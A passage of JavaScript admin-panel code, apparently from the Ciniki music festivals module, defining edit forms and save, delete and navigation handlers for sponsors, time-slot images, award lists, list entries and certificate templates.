'teacher_id':M.ciniki_musicfestivals_main.festival.teacher_customer_id, 'festival_id':M.ciniki_musicfestivals_main.festival.festival_id}, c, \n function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n } \n M.ciniki_musicfestivals_main.emailregistrations.close();\n });\n }\n this.emailregistrations.addButton('send', 'Send', 'M.ciniki_musicfestivals_main.emailregistrations.send();');\n this.emailregistrations.addClose('Cancel');\n\n //\n // The panel to edit Sponsor\n //\n this.sponsor = new M.panel('Sponsor', 'ciniki_musicfestivals_main', 'sponsor', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.sponsor');\n this.sponsor.data = null;\n this.sponsor.festival_id = 0;\n this.sponsor.sponsor_id = 0;\n this.sponsor.nplist = [];\n this.sponsor.sections = {\n '_image_id':{'label':'Logo', 'type':'imageform', 'aside':'yes', 'fields':{\n 'image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\n 'addDropImage':function(iid) {\n M.ciniki_musicfestivals_main.sponsor.setFieldValue('image_id', iid);\n return true;\n },\n 'addDropImageRefresh':'',\n 'deleteImage':function(fid) {\n M.ciniki_musicfestivals_main.sponsor.setFieldValue(fid, 0);\n return true;\n },\n },\n }},\n 'general':{'label':'', 'fields':{\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\n 'url':{'label':'Website', 'type':'text'},\n 'sequence':{'label':'Order', 'type':'text', 'size':'small'},\n 'flags':{'label':'Options', 'type':'flags', 'flags':{'1':{'name':'Level 1'}, '2':{'name':'Level 2'}}},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.sponsor.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.sponsor.sponsor_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.sponsor.remove();'},\n }},\n };\n this.sponsor.fieldValue = function(s, i, d) { return this.data[i]; }\n this.sponsor.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.sponsorHistory', 'args':{'tnid':M.curTenantID, 'sponsor_id':this.sponsor_id, 'field':i}};\n }\n this.sponsor.open = function(cb, sid, fid) {\n if( sid != null ) { this.sponsor_id = sid; }\n if( fid != null ) { this.festival_id = fid; }\n M.api.getJSONCb('ciniki.musicfestivals.sponsorGet', {'tnid':M.curTenantID, 'sponsor_id':this.sponsor_id, 'festival_id':this.festival_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.sponsor;\n p.data = rsp.sponsor;\n p.refresh();\n p.show(cb);\n });\n }\n this.sponsor.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.sponsor.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.sponsor_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.sponsorUpdate', {'tnid':M.curTenantID, 'sponsor_id':this.sponsor_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.sponsorAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.sponsor.sponsor_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.sponsor.remove = function() {\n M.confirm('Are you sure you want to remove sponsor?', null, function(rsp) {\n M.api.getJSONCb('ciniki.musicfestivals.sponsorDelete', {'tnid':M.curTenantID, 'sponsor_id':M.ciniki_musisfestivals_main.sponsor.sponsor_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.sponsor.close();\n });\n });\n }\n this.sponsor.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.sponsor_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.sponsor.save(\\'M.ciniki_musicfestivals_main.sponsor.open(null,' + this.nplist[this.nplist.indexOf('' + this.sponsor_id) + 1] + ');\\');';\n }\n return null;\n }\n this.sponsor.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.sponsor_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.sponsor.save(\\'M.ciniki_musicfestivals_main.sponsor.open(null,' + this.nplist[this.nplist.indexOf('' + this.sponsor_id) - 1] + ');\\');';\n }\n return null;\n }\n this.sponsor.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.sponsor.save();');\n this.sponsor.addClose('Cancel');\n this.sponsor.addButton('next', 'Next');\n this.sponsor.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Schedule Time Slot Image\n //\n this.timeslotimage = new M.panel('Schedule Time Slot Image', 'ciniki_musicfestivals_main', 'timeslotimage', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.timeslotimage');\n this.timeslotimage.data = null;\n this.timeslotimage.timeslot_image_id = 0;\n this.timeslotimage.nplist = [];\n this.timeslotimage.sections = {\n '_image_id':{'label':'Image', 'type':'imageform', 'aside':'yes', 'fields':{\n 'image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\n 'addDropImage':function(iid) {\n M.ciniki_musicfestivals_main.timeslotimage.setFieldValue('image_id', iid);\n return true;\n },\n 'addDropImageRefresh':'',\n },\n }},\n 'general':{'label':'', 'fields':{\n 'title':{'label':'Title', 'type':'text'},\n 'flags':{'label':'Options', 'type':'text'},\n 'sequence':{'label':'Order', 'type':'text'},\n }},\n '_description':{'label':'Description', 'fields':{\n 'description':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'large'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.timeslotimage.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.timeslotimage.timeslot_image_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.timeslotimage.remove();'},\n }},\n };\n this.timeslotimage.fieldValue = function(s, i, d) { return this.data[i]; }\n this.timeslotimage.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.timeslotImageHistory', 'args':{'tnid':M.curTenantID, 'timeslot_image_id':this.timeslot_image_id, 'field':i}};\n }\n this.timeslotimage.open = function(cb, tid, list) {\n if( tid != null ) { this.timeslot_image_id = tid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.timeslotImageGet', {'tnid':M.curTenantID, 'timeslot_image_id':this.timeslot_image_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.timeslotimage;\n p.data = rsp.image;\n p.refresh();\n p.show(cb);\n });\n }\n this.timeslotimage.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.timeslotimage.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.timeslot_image_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.timeslotImageUpdate', {'tnid':M.curTenantID, 'timeslot_image_id':this.timeslot_image_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.timeslotImageAdd', {'tnid':M.curTenantID}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.timeslotimage.timeslot_image_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.timeslotimage.remove = function() {\n M.confirm('Are you sure you want to remove timeslotimage?', null, function(rsp) {\n M.api.getJSONCb('ciniki.musicfestivals.timeslotImageDelete', {'tnid':M.curTenantID, 'timeslot_image_id':M.ciniki_musicfestivals_main.timeslotimage.timeslot_image_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.timeslotimage.close();\n });\n });\n }\n this.timeslotimage.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.timeslot_image_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.timeslotimage.save(\\'M.ciniki_musicfestivals_main.timeslotimage.open(null,' + this.nplist[this.nplist.indexOf('' + this.timeslot_image_id) + 1] + ');\\');';\n }\n return null;\n }\n this.timeslotimage.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.timeslot_image_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.timeslotimage.save(\\'M.ciniki_musicfestivals_main.timeslotimage.open(null,' + this.nplist[this.nplist.indexOf('' + this.timeslot_image_id) - 1] + ');\\');';\n }\n return null;\n }\n this.timeslotimage.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.timeslotimage.save();');\n this.timeslotimage.addClose('Cancel');\n this.timeslotimage.addButton('next', 'Next');\n this.timeslotimage.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit a List\n //\n this.list = new M.panel('List', 'ciniki_musicfestivals_main', 'list', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.list');\n this.list.data = null;\n this.list.list_id = 0;\n this.list.festival_id = 0;\n this.list.nplist = [];\n this.list.sections = {\n 'general':{'label':'', 'fields':{\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\n 'category':{'label':'Category', 'required':'yes', 'type':'text'},\n }},\n '_intro':{'label':'Introduction', 'fields':{\n 'intro':{'label':'', 'hidelabel':'yes', 'type':'textarea'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.list.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.list.list_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.list.remove();'},\n }},\n };\n this.list.fieldValue = function(s, i, d) { return this.data[i]; }\n this.list.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.listHistory', 'args':{'tnid':M.curTenantID, 'list_id':this.list_id, 'field':i}};\n }\n this.list.open = function(cb, lid, fid, list) {\n if( lid != null ) { this.list_id = lid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.listGet', {'tnid':M.curTenantID, 'list_id':this.list_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.list;\n p.data = rsp.list;\n p.refresh();\n p.show(cb);\n });\n }\n this.list.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.list.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.list_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.listUpdate', {'tnid':M.curTenantID, 'list_id':this.list_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.listAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.list.list_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.list.remove = function() {\n M.confirm('Are you sure you want to remove list?', null, function(rsp) {\n M.api.getJSONCb('ciniki.musicfestivals.listDelete', {'tnid':M.curTenantID, 'list_id':this.list_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.list.close();\n });\n });\n }\n this.list.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.list_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.list.save(\\'M.ciniki_musicfestivals_main.list.open(null,' + this.nplist[this.nplist.indexOf('' + this.list_id) + 1] + ');\\');';\n }\n return null;\n }\n this.list.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.list_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.list.save(\\'M.ciniki_musicfestivals_main.list.open(null,' + this.nplist[this.nplist.indexOf('' + this.list_id) - 1] + ');\\');';\n }\n return null;\n }\n this.list.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.list.save();');\n this.list.addClose('Cancel');\n this.list.addButton('next', 'Next');\n this.list.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit List Section\n //\n this.listsection = new M.panel('List Section', 'ciniki_musicfestivals_main', 'listsection', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.listsection');\n this.listsection.data = null;\n this.listsection.list_id = 0;\n this.listsection.listsection_id = 0;\n this.listsection.nplist = [];\n this.listsection.sections = {\n 'general':{'label':'', 'fields':{\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\n 'sequence':{'label':'Order', 'type':'text'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.listsection.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.listsection.listsection_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.listsection.remove();'},\n }},\n };\n this.listsection.fieldValue = function(s, i, d) { return this.data[i]; }\n this.listsection.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.listSectionHistory', 'args':{'tnid':M.curTenantID, 'listsection_id':this.listsection_id, 'field':i}};\n }\n this.listsection.open = function(cb, lid, list_id, list) {\n if( lid != null ) { this.listsection_id = lid; }\n if( list_id != null ) { this.list_id = list_id; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.listSectionGet', {'tnid':M.curTenantID, 'listsection_id':this.listsection_id, 'list_id':this.list_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.listsection;\n p.data = rsp.listsection;\n p.refresh();\n p.show(cb);\n });\n }\n this.listsection.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.listsection.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.listsection_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.listSectionUpdate', {'tnid':M.curTenantID, 'listsection_id':this.listsection_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.listSectionAdd', {'tnid':M.curTenantID, 'list_id':this.list_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.listsection.listsection_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.listsection.remove = function() {\n M.confirm('Are you sure you want to remove listsection?', null, function(rsp) {\n M.api.getJSONCb('ciniki.musicfestivals.listSectionDelete', {'tnid':M.curTenantID, 'listsection_id':M.ciniki_musicfestivals_main.listsection.listsection_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.listsection.close();\n });\n });\n }\n this.listsection.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.listsection_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.listsection.save(\\'M.ciniki_musicfestivals_main.listsection.open(null,' + this.nplist[this.nplist.indexOf('' + this.listsection_id) + 1] + ');\\');';\n }\n return null;\n }\n this.listsection.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.listsection_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.listsection.save(\\'M.ciniki_musicfestivals_main.listsection.open(null,' + this.nplist[this.nplist.indexOf('' + this.listsection_id) - 1] + ');\\');';\n }\n return null;\n }\n this.listsection.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.listsection.save();');\n this.listsection.addClose('Cancel');\n this.listsection.addButton('next', 'Next');\n this.listsection.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit List Entry\n //\n this.listentry = new M.panel('List Entry', 'ciniki_musicfestivals_main', 'listentry', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.listentry');\n this.listentry.data = null;\n this.listentry.listsection_id = 0;\n this.listentry.listentry_id = 0;\n this.listentry.nplist = [];\n this.listentry.sections = {\n 'general':{'label':'List Entry', 'fields':{\n 'sequence':{'label':'Number', 'type':'text'},\n 'award':{'label':'Award', 'type':'text'},\n 'amount':{'label':'Amount', 'type':'text'},\n 'donor':{'label':'Donor', 'type':'text'},\n 'winner':{'label':'Winner', 'type':'text'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.listentry.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.listentry.listentry_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.listentry.remove();'},\n }},\n };\n this.listentry.fieldValue = function(s, i, d) { return this.data[i]; }\n this.listentry.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.listEntryHistory', 'args':{'tnid':M.curTenantID, 'listentry_id':this.listentry_id, 'field':i}};\n }\n this.listentry.open = function(cb, lid, sid, list) {\n if( lid != null ) { this.listentry_id = lid; }\n if( sid != null ) { this.listsection_id = sid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.listEntryGet', {'tnid':M.curTenantID, 'listentry_id':this.listentry_id, 'section_id':this.listsection_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.listentry;\n p.data = rsp.listentry;\n p.refresh();\n p.show(cb);\n });\n }\n this.listentry.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.listentry.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.listentry_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.listEntryUpdate', {'tnid':M.curTenantID, 'listentry_id':this.listentry_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.listEntryAdd', {'tnid':M.curTenantID, 'section_id':this.listsection_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.listentry.listentry_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.listentry.remove = function() {\n M.confirm('Are you sure you want to remove listentry?', null, function(rsp) {\n M.api.getJSONCb('ciniki.musicfestivals.listEntryDelete', {'tnid':M.curTenantID, 'listentry_id':M.ciniki_musicfestivals_main.listentry.listentry_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.listentry.close();\n });\n });\n }\n this.listentry.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.listentry_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.listentry.save(\\'M.ciniki_musicfestivals_main.listentry.open(null,' + this.nplist[this.nplist.indexOf('' + this.listentry_id) + 1] + ');\\');';\n }\n return null;\n }\n this.listentry.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.listentry_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.listentry.save(\\'M.ciniki_musicfestivals_main.listentry.open(null,' + this.nplist[this.nplist.indexOf('' + this.listentry_id) - 1] + ');\\');';\n }\n return null;\n }\n this.listentry.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.listentry.save();');\n this.listentry.addClose('Cancel');\n this.listentry.addButton('next', 'Next');\n this.listentry.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Certificate\n //\n this.certificate = new M.panel('Certificate', 'ciniki_musicfestivals_main', 'certificate', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.certificate');\n this.certificate.data = null;\n this.certificate.festival_id = 0;\n this.certificate.certificate_id = 0;\n this.certificate.nplist = [];\n this.certificate.sections = {\n '_image_id':{'label':'Image', 'type':'imageform', 'aside':'yes', 'fields':{\n 'image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\n 'addDropImage':function(iid) {\n M.ciniki_musicfestivals_main.certificate.setFieldValue('image_id', iid);\n return true;\n },\n 'addDropImageRefresh':'',\n },\n }},\n 'general':{'label':'Certificate', 'fields':{\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\n 'orientation':{'label':'Orientation', 'type':'toggle', 'toggles':{'L':'Landscape', 'P':'Portrait'}},\n// FIXME: Add section support and min score support\n// 'section_id':{'label':'Section', 'type':'select', 'options':{}, 'complex_options':{'name':'name', 'value':'id'}},\n// 'min_score':{'label':'Minimum Score', 'type':'text', 'size':'small'},\n }},\n 'fields':{'label':'Auto Filled Fields', 'type':'simplegrid', 'num_cols':1,\n 'addTxt':'Add Field',\n 'addFn':'M.ciniki_musicfestivals_main.certificate.save(\"M.ciniki_musicfestivals_main.certfield.open(\\'M.ciniki_musicfestivals_main.certificate.open();\\',0,M.ciniki_musicfestivals_main.certificate.certificate_id);\");',\n },\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.certificate.save();'},\n 'download':{'label':'Generate Test', \n 'visible':function() {return M.ciniki_musicfestivals_main.certificate.certificate_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.certificate.generateTestOutlines();',\n },\n 'download2':{'label':'Generate Test No Outlines', \n 'visible':function() {return M.ciniki_musicfestivals_main.certificate.certificate_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.certificate.generateTest();',\n },\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.certificate.certificate_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.certificate.remove();',\n },\n }},\n };\n this.certificate.fieldValue = function(s, i, d) { return this.data[i]; }\n this.certificate.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.certificateHistory', 'args':{'tnid':M.curTenantID, 'certificate_id':this.certificate_id, 'field':i}};\n }\n this.certificate.cellValue = function(s, i, j, d) {\n if( s == 'fields' ) {\n switch(j) {\n case 0: return d.name;\n }\n }\n }\n this.certificate.rowFn = function(s, i, d) {\n return 'M.ciniki_musicfestivals_main.certificate.save(\"M.ciniki_musicfestivals_main.certfield.open(\\'M.ciniki_musicfestivals_main.certificate.open();\\',' + d.id + ',M.ciniki_musicfestivals_main.certificate.certificate_id);\");';\n }\n this.certificate.open = function(cb, cid, fid, list) {\n if( cid != null ) { this.certificate_id = cid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.certificateGet', {'tnid':M.curTenantID, 'certificate_id':this.certificate_id, 'festival_id':this.festival_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.certificate;\n p.data = rsp.certificate;\n// p.sections.general.fields.section_id.options = rsp.sections;\n p.refresh();\n p.show(cb);\n });\n }\n this.certificate.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.certificate.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.certificate_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.certificateUpdate', {'tnid':M.curTenantID, 'certificate_id':this.certificate_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.certificateAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.certificate.certificate_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.certificate.generateTestOutlines = function() {\n M.api.openFile('ciniki.musicfestivals.certificateGet', {'tnid':M.curTenantID, 'certificate_id':this.certificate_id, 'festival_id':this.festival_id, 'output':'pdf', 'outlines':'yes'});\n }\n this.certificate.generateTest = function() {\n M.api.openFile('ciniki.musicfestivals.certificateGet', {'tnid':M.curTenantID, 'certificate_id':this.certificate_id, 'festival_id':this.festival_id, 'output':'pdf'});\n }\n this.certificate.remove = function() {\n M.confirm('Are you sure you want to remove certificate?', null, function(rsp) {\n M.api.getJSONCb('ciniki.musicfestivals.certificateDelete', {'tnid':M.curTenantID, 'certificate_id':M.ciniki_musicfestivals_main.certificate.certificate_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.certificate.close();\n });\n });\n }\n this.certificate.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.certificate_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.certificate.save(\\'M.ciniki_musicfestivals_main.certificate.open(null,' + this.nplist[this.nplist.indexOf('' + this.certificate_id) + 1] + ');\\');';\n }\n return null;\n }\n this.certificate.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.certificate_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.certificate.save(\\'M.ciniki_musicfestivals_main.certificate.open(null,' + this.nplist[this.nplist.indexOf('' + this.certificate_id) - 1] + ');\\');';\n }\n return null;\n }\n this.certificate.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.certificate.save();');\n this.certificate.addClose('Cancel');\n this.certificate.addButton('next', 'Next');\n this.certificate.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Certificate Field\n //\n this.certfield = new M.panel('Certificate Field', 'ciniki_musicfestivals_main', 'certfield', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.certfield');\n this.certfield.data = null;\n this.certfield.field_id = 0;\n this.certfield.certificate_id = 0;\n this.certfield.nplist = [];\n this.certfield.sections = {\n 'general':{'label':'', 'fields':{\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\n 'field':{'label':'Field', 'type':'select', 'options':{\n 'class':'Class',\n 'timeslotdate':'Timeslot Date',\n 'participant':'Participant',\n 'title':'Title',\n 'adjudicator':'Adjudicator',\n 'placement':'Placement',\n 'text':'Text',\n }},\n 'xpos':{'label':'X Position', 'required':'yes', 'type':'text'},\n 'ypos':{'label':'Y Position', 'required':'yes', 'type':'text'},\n 'width':{'label':'Width', 'required':'yes', 'type':'text'},\n 'height':{'label':'Height', 'required':'yes', 'type':'text'},\n 'font':{'label':'Font', 'type':'select', 'options':{\n 'times':'Times',\n 'helvetica':'Helvetica',\n 'vidaloka':'Vidaloka',\n 'scriptina':'Scriptina',\n 'allison':'Allison',\n 'greatvibes':'Great Vibes',\n }},\n 'size':{'label':'Size', 'type':'text'},\n 'style':{'label':'Style', 'type':'select', 'options':{\n '':'Normal',\n 'B':'Bold',\n 'I':'Italic',\n 'BI':'Bold Italic',\n }},\n 'align':{'label':'Align', 'type':'select', 'options':{\n 'L':'Left',\n 'C':'Center',\n 'R':'Right',\n }},\n 'valign':{'label':'Vertial', 'type':'select', 'options':{\n 'T':'Top',\n 'M':'Middle',\n 'B':'Bottom',\n }},\n// 'color':{'label':'Color', 'type':'text'},\n// 'bgcolor':{'label':'Background Color', 'type':'text'},\n 'text':{'label':'Text', 'type':'text'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.certfield.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.certfield.field_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.certfield.remove();'},\n }},\n };\n this.certfield.fieldValue = function(s, i, d) { return this.data[i]; }\n this.certfield.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.certfieldHistory', 'args':{'tnid':M.curTenantID, 'field_id':this.field_id, 'field':i}};\n }\n this.certfield.open = function(cb, fid, cid, list) {\n if( fid != null ) { this.field_id = fid; }\n if( cid != null ) { this.certificate_id = cid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.certfieldGet', {'tnid':M.curTenantID, 'field_id':this.field_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.certfield;\n p.data = rsp.field;\n p.refresh();\n 